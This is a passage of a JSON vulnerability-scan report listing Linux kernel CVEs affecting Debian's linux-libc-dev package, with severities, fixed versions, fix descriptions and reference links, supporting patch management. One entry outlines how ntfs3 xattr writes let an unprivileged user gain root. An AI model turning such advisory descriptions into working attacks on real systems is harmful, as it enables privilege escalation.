data area\nand then pass the same scatterlist as both src and dst to the crypto API\n(e.g. crypto_skcipher_encrypt/decrypt, crypto_aead_encrypt/decrypt).\n\nOn the RX path, __ieee802154_rx_handle_packet() clones the received skb\nbefore handing it to each subscriber via ieee802154_subif_frame(). The\ncloned skb shares the same underlying data buffer via reference\ncounting. When llsec_do_decrypt() subsequently modifies this shared\nbuffer in place, it corrupts data that other clones -- potentially\nbelonging to other sockets or subsystems -- still reference.\n\nOn the TX path, similar data sharing can occur when an skb's head has\nbeen cloned (skb_cloned() returns true).\n\nThe fix is to call skb_cow_data() before performing any in-place crypto\noperation. skb_cow_data() ensures that the skb's data area is not\nshared: if the skb head is cloned or the data spans multiple fragments,\nit copies the data into a private buffer that can be safely modified in\nplace. This is the same pattern used by:\n\n - ESP (net/ipv4/esp4.c, net/ipv6/esp6.c)\n - MACsec (drivers/net/macsec.c)\n - WireGuard (drivers/net/wireguard/receive.c)\n - TIPC (net/tipc/crypto.c)\n\nWithout this guard, in-place crypto on shared skb data leads to:\n - Silent data corruption of other skb clones\n - Use-after-free when the crypto API scatterwalk writes through a\n page that has already been freed by another clone's kfree_skb()\n - Kernel crashes under concurrent 802.15.4 traffic with security\n enabled (KASAN/KMSAN reports slab-use-after-free)\n\nFound by 0sec (https://0sec.ai) using automated source analysis.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-63831", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/84a04eb5b210643bd67aab81ff805d32f62aa865%20%287.2-rc1%29", "https://git.kernel.org/stable/c/3a2b378b3a9ca75d3518d879148d2ad25b5714a9", "https://git.kernel.org/stable/c/7a831bcd0486788283ef35e396d4282ee01bb0d5", "https://git.kernel.org/stable/c/84a04eb5b210643bd67aab81ff805d32f62aa865", "https://git.kernel.org/stable/c/86d531337ea1ba02d9f2bc830d07c683d9bfaade", "https://git.kernel.org/stable/c/993fd674fe85d114e6a8d3963033d4fbbc2170a8", "https://git.kernel.org/stable/c/bd968bdd568beacfdf98ec537a87527e85f1d0cf", "https://git.kernel.org/stable/c/e28e7fd34c449028325322a3f5127b92594b7396", "https://git.kernel.org/stable/c/ff976ef7c39199ebff33c18034636595016db9f0", "https://linux.oracle.com/cve/CVE-2026-63831.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-63831-36ca@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63831", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63831" ], "PublishedDate": "2026-07-19T12:16:56.46Z", "LastModifiedDate": "2026-10-22T19:24:19.03Z" }, { "VulnerabilityID": "CVE-2026-63833", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63833", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4d9f91e6fe70a027e797a5d696a8809b5802d20c4a2e9f37ca8c4f83d5fda2da", "Title": "kernel: ntfs3: reject direct userspace writes to reserved $LX* xattrs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nntfs3: reject direct userspace writes to reserved $LX* xattrs\n\nNTFS3 uses $LXUID, $LXGID, $LXMOD and $LXDEV as internal WSL\npermission metadata and reloads them into i_uid, i_gid and i_mode\nfrom ntfs_get_wsl_perm().\n\nBecause the empty-prefix xattr handler also lets file owners call\nsetxattr() on these names directly, an unprivileged writer on a\nwritable ntfs3 mount can plant root ownership and S_ISUID on their own\nfile and gain euid 0 after inode reload.\n\nReject direct userspace writes to the reserved $LX* names. Internal\nntfs3 metadata updates are unchanged because ntfs_save_wsl_perm()\nwrites them via ntfs_set_ea() directly.\n\n[almaz.alexandrovich@paragon-software.com: added an additional check for non privileged users]", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "amazon": 3, "azure": 4, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63833", "https://git.kernel.org/linus/5b08dccecf825cbf905f348bc6ccb497507e28e2%20%287.2-rc1%29", "https://git.kernel.org/stable/c/293a84fa40b3a1b3471c0545722724bc10973f76", "https://git.kernel.org/stable/c/2c3cd6da4a14380ef79e34bd9dff7caf46687477", "https://git.kernel.org/stable/c/5b08dccecf825cbf905f348bc6ccb497507e28e2", "https://git.kernel.org/stable/c/5e658b9245a52d838ef93729a7bc07de8e19deb7", "https://git.kernel.org/stable/c/e574af95234afc3c725988bbc1fdeb46b9f386a4", "https://git.kernel.org/stable/c/e8852ae29868e449fdb47eebc28f35fb80741a5f", "https://git.kernel.org/stable/c/f8d420949b335a4b51d06ab276beee6b8dfdc909", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-63833-b826@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63833", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63833" ], "PublishedDate": "2026-07-19T12:16:56.713Z", "LastModifiedDate": "2026-10-22T14:11:49.023Z" }, { "VulnerabilityID": "CVE-2026-63875", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63875", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:aa226e5bf3201fea43e2d618a47f0f7e5be9fce42f5b1fd5f214132a236f6f86", "Title": "kernel: arm64: tlb: Flush walk cache when unsharing PMD tables", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: tlb: Flush walk cache when unsharing PMD tables\n\nWhen huge_pmd_unshare() is called to unshare a PMD table, the\ntlb_unshare_pmd_ptdesc() function sets tlb-\u003eunshared_tables=true\nbut the aarch64 tlb_flush() only checked tlb-\u003efreed_tables to\ndetermine whether to use TLBF_NONE (vae1is, invalidates walk\ncache) or TLBF_NOWALKCACHE (vale1is, leaf-only).\n\nThis caused the stale PMD page table entry to remain in the walk cache\nafter unshare, potentially leading to incorrect page table walks.\n\nFix by including unshared_tables in the check, so that when\nunsharing tables, TLBF_NONE is used and the walk cache is properly\ninvalidated.\n\nHere is the detailed distinction between vae1is and vale1is:\n\n| Instruction Combination | Actual Invalidation Scope |\n| ------------------------ | --------------------------------------------------|\n| `VAE1IS` + TTL=`0` | All entries at all levels (full invalidation) |\n| `VAE1IS` + TTL=`2` (L2) | Non-leaf at Level 0/1 + leaf at Level 2 |\n| `VALE1IS` + TTL=`0` | Leaf entries at all levels (non-leaf not cleared) |\n| `VALE1IS` + TTL=`2` (L2) | Leaf entry at Level 2 only |", "Severity": "HIGH", "CweIDs": [ "CWE-670", "CWE-459" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:72623", "https://access.redhat.com/security/cve/CVE-2026-63875", "https://bugzilla.redhat.com/2482104", "https://bugzilla.redhat.com/2487002", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2495938", "https://bugzilla.redhat.com/2502318", "https://bugzilla.redhat.com/2502494", "https://bugzilla.redhat.com/2508319", "https://bugzilla.redhat.com/2524423", "https://bugzilla.redhat.com/2524434", "https://bugzilla.redhat.com/show_bug.cgi?id=2482104", "https://bugzilla.redhat.com/show_bug.cgi?id=2487002", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2495938", "https://bugzilla.redhat.com/show_bug.cgi?id=2502318", "https://bugzilla.redhat.com/show_bug.cgi?id=2502494", "https://bugzilla.redhat.com/show_bug.cgi?id=2508319", "https://bugzilla.redhat.com/show_bug.cgi?id=2524423", "https://bugzilla.redhat.com/show_bug.cgi?id=2524434", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45942", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46325", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53341", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63875", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64556", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74753", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80522", "https://errata.almalinux.org/9/ALSA-2026-72623.html", "https://errata.rockylinux.org/RLSA-2026:72623", "https://git.kernel.org/linus/c2ff4764e03e7a8d758352f4aceb8fe1be6ac971%20%287.1-rc5%29", "https://git.kernel.org/stable/c/0199c9d57861f17b556b6cba1f765c7cce79745b", "https://git.kernel.org/stable/c/47490bbb05c8c0e09cc3cfd237d8934ffc340583", "https://git.kernel.org/stable/c/48125cd9c55cbe297b59fd1f9bda48b0960bd181", "https://git.kernel.org/stable/c/8ca7284da0e67b3e71d90ec17f08286774245ad9", "https://git.kernel.org/stable/c/c2ff4764e03e7a8d758352f4aceb8fe1be6ac971", "https://git.kernel.org/stable/c/d766a49d9b55705c4737cd8bb5d3faa2d31330fd", "https://git.kernel.org/stable/c/dced308d7d6a0de1c09d2058f38f1aaaf5cbb914", "https://git.kernel.org/stable/c/fe93e907b1af03cc229a80aa64a570a103d2b279", "https://linux.oracle.com/cve/CVE-2026-63875.html", "https://linux.oracle.com/errata/ELSA-2026-72623.html", "https://lore.kernel.org/linux-cve-announce/2026071935-CVE-2026-63875-97f2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63875", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63875" ], "PublishedDate": "2026-07-19T16:17:04.357Z", "LastModifiedDate": "2026-10-30T14:57:03.33Z" }, { "VulnerabilityID": "CVE-2026-63884", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63884", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1b655cbea94c80cd979eccc05858e8fa42d4d3b9800df3703d4f972236a232ef", "Title": "kernel: drm/i915: Fix potential UAF in TTM object purge", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915: Fix potential UAF in TTM object purge\n\nTLDR: The bo-\u003ettm object might be changed by calling ttm_bo_validate(),\n move casting it to an i915_tt object later to actually get the right\n pointer.\n\nA user reported hitting the following bug under heavy use on DG2:\n\n[26620.095550] Oops: general protection fault, probably for non-canonical address 0xa56b6b6b6b6b6b8b: 0000 1 SMP NOPTI\n[26620.095556] CPU: 2 UID: 0 PID: 631 Comm: Xorg Not tainted 6.18.8 #1 PREEMPT(lazy)\n[26620.095558] Hardware name: ASRock B850M Steel Legend WiFi/B850M Steel Legend WiFi, BIOS 3.50 09/18/2025\n[26620.095559] RIP: 0010:i915_ttm_purge+0x84/0x100 [i915]\n[26620.095604] Code: 00 00 00 48 8d 54 24 10 48 89 e6 48 89 fb e8 83 aa ae ff 85 c0 75 6f 48 83 bb a8 01 00 00 00 74 2c 48 8b 45 78 48 85 c0 74 23 \u003c48\u003e 8b 78 20 48 c7 c2 ff ff ff ff 31 f6 e8 7a 73 e3 e0 48 8b 7d 78\n[26620.095605] RSP: 0018:ffffc90005fd7430 EFLAGS: 00010282\n[26620.095607] RAX: a56b6b6b6b6b6b6b RBX: ffff8881f46c3dc0 RCX: 0000000000000000\n[26620.095608] RDX: 0000000000000000 RSI: 0000000000000246 RDI: 00000000ffffffff\n[26620.095609] RBP: ffff888289610f00 R08: 0000000000000001 R09: ffff88823b022000\n[26620.095609] R10: ffff888103029b28 R11: ffff8881fc7f3800 R12: ffff88810b6150d0\n[26620.095609] R13: ffff888289610f00 R14: 0000000000000000 R15: ffff8881f46c3dc0\n[26620.095610] FS: 00007f1004d86900(0000) GS:ffff88901c858000(0000) knlGS:0000000000000000\n[26620.095611] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[26620.095611] CR2: 00007f0fdf489000 CR3: 000000035b0c1000 CR4: 0000000000750ef0\n[26620.095612] PKRU: 55555554\n[26620.095612] Call Trace:\n[26620.095615] \u003cTASK\u003e\n[26620.095615] i915_ttm_move+0x2b9/0x420 [i915]\n[26620.095642] ? ttm_tt_init+0x65/0x80 [ttm]\n[26620.095644] ? i915_ttm_tt_create+0xc6/0x150 [i915]\n[26620.095667] ttm_bo_handle_move_mem+0xb6/0x160 [ttm]\n[26620.095669] ttm_bo_evict+0x100/0x150 [ttm]\n[26620.095671] ? preempt_count_add+0x64/0xa0\n[26620.095673] ? _raw_spin_lock+0xe/0x30\n[26620.095675] ? _raw_spin_unlock+0xd/0x30\n[26620.095675] ? i915_gem_object_evictable+0xb7/0xd0 [i915]\n[26620.095704] ttm_bo_evict_cb+0x6e/0xd0 [ttm]\n[26620.095705] ttm_lru_walk_for_evict+0xa6/0x200 [ttm]\n[26620.095708] ttm_bo_alloc_resource+0x185/0x4f0 [ttm]\n[26620.095709] ? init_object+0x62/0xd0\n[26620.095712] ttm_bo_validate+0x7a/0x180 [ttm]\n[26620.095713] ? _raw_spin_unlock_irqrestore+0x16/0x30\n[26620.095714] __i915_ttm_get_pages+0xb0/0x170 [i915]\n[26620.095737] i915_ttm_get_pages+0x9f/0x150 [i915]\n[26620.095759] ? i915_gem_do_execbuffer+0xedc/0x2b40 [i915]\n[26620.095786] ? alloc_debug_processing+0xd0/0x100\n[26620.095787] ? _raw_spin_unlock_irqrestore+0x16/0x30\n[26620.095788] ? i915_vma_instance+0xa0/0x4e0 [i915]\n[26620.095822] __i915_gem_object_get_pages+0x2f/0x40 [i915]\n[26620.095848] i915_vma_pin_ww+0x706/0x980 [i915]\n[26620.095875] ? i915_gem_do_execbuffer+0xedc/0x2b40 [i915]\n[26620.095904] eb_validate_vmas+0x170/0xa00 [i915]\n[26620.095930] i915_gem_do_execbuffer+0x1201/0x2b40 [i915]\n[26620.095953] ? alloc_debug_processing+0xd0/0x100\n[26620.095954] ? _raw_spin_unlock_irqrestore+0x16/0x30\n[26620.095955] ? i915_gem_execbuffer2_ioctl+0xc9/0x240 [i915]\n[26620.095977] ? __wake_up_sync_key+0x32/0x50\n[26620.095979] ? i915_gem_execbuffer2_ioctl+0xc9/0x240 [i915]\n[26620.096001] ? __slab_alloc.isra.0+0x67/0xc0\n[26620.096003] i915_gem_execbuffer2_ioctl+0x11a/0x240 [i915]\n\nResults from decode_stacktrace.sh pointed to dereference of a file pointer\nfield of a i915 TTM page vector container associated with an object being\npurged on eviction. That path is taken when the object is marked as no\nlonger needed.\n\nCode analysis revealed a possibility of the i915 TTM page vector container\nbeing replaced with a new instance inside a function that purges content\nof the object, should it be still busy. That function is called,\nindirectly via a more general function that changes the object's placement\nand caching policy,\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-63884", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/5c4063c87a619e4df954c179d24628636f5db15f%20%287.1-rc6%29", "https://git.kernel.org/stable/c/073bcbc95e9648c976da1654c7590a8d6ee12c2d", "https://git.kernel.org/stable/c/28b22dbaf407598cb3bb1d2c586a6f8018690ac2", "https://git.kernel.org/stable/c/5c4063c87a619e4df954c179d24628636f5db15f", "https://git.kernel.org/stable/c/a29654d451bbffe63d584a4cf64ad0efce6bcf1c", "https://git.kernel.org/stable/c/c9ae7e7e3bc98615364313b08d7acea5239ded0b", "https://git.kernel.org/stable/c/df73f3bc731af1c39ac5405bc59c4e7c6f8e9117", "https://linux.oracle.com/cve/CVE-2026-63884.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026071940-CVE-2026-63884-39d7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63884", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63884" ], "PublishedDate": "2026-07-19T16:17:05.463Z", "LastModifiedDate": "2026-10-26T20:14:08.547Z" }, { "VulnerabilityID": "CVE-2026-63886", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": 